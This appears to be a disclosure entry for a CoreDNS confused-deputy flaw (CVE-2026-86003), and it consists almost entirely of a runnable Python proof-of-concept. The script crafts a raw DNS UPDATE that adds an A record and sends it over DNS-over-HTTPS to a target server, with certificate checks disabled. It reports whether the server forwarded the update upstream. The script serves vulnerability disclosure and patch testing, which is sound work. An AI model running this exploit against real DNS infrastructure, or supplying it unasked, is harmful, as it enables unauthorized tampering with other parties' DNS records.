CVE-2026-86003: CoreDNS Confused Deputy via RFC 2136 UPDATE over DoH/DoQ/gRPC

#!/usr/bin/env python3
# Send a bare RFC 2136 UPDATE (opcode 5) over DoH to a vulnerable CoreDNS instance.
# CoreDNS <= 1.14.6 forwards it to the upstream; 1.14.7+ returns HTTP 400.
#
# Usage: python3 poc.py --host 127.0.0.1 --port 8053

import http.client, socket, ssl, struct

OPCODE_UPDATE = 5
TYPE_A, CLASS_IN = 1, 1

def encode_name(name):
    return b"".join(
        bytes((len(l),)) + l.encode()
        for l in name.rstrip(".").split(".")
    ) + b"\x00"

def update_message():
    zone   = encode_name("example.com.") + struct.pack("!HH", 6, CLASS_IN)
    update = (
        encode_name("foo.example.com.")
        + struct.pack("!HHIH", TYPE_A, CLASS_IN, 300, 4)
        + socket.inet_aton("192.0.2.123")
    )
    # Flags: QR=0, Opcode=5 (UPDATE), all counts per RFC 2136
    header = struct.pack("!HHHHHH", 0x1234, OPCODE_UPDATE << 11, 1, 0, 1, 0)
    return header + zone + update

def send_doh(host, port, payload, timeout=5):
    ctx = ssl._create_unverified_context()
    conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    conn.request(
        "POST", "/dns-query", body=payload,
        headers={"Content-Type": "application/dns-message"},
    )
    r = conn.getresponse()
    print(f"HTTP {r.status}  body_bytes={len(r.read())}")
    if r.status == 200:
        print("[VULNERABLE] CoreDNS accepted the UPDATE and forwarded it upstream.")
    else:
        print("[PATCHED]    CoreDNS rejected the UPDATE (expected 400 on 1.14.7+).")
    conn.close()

if __name__ == "__main__":
    import argparse
    p = argparse.ArgumentParser()
    p.add_argument("--host", default="127.0.0.1")
    p.add_argument("--port", type=int, default=8053)
    a = p.parse_args()
    send_doh(a.host, a.port, update_message())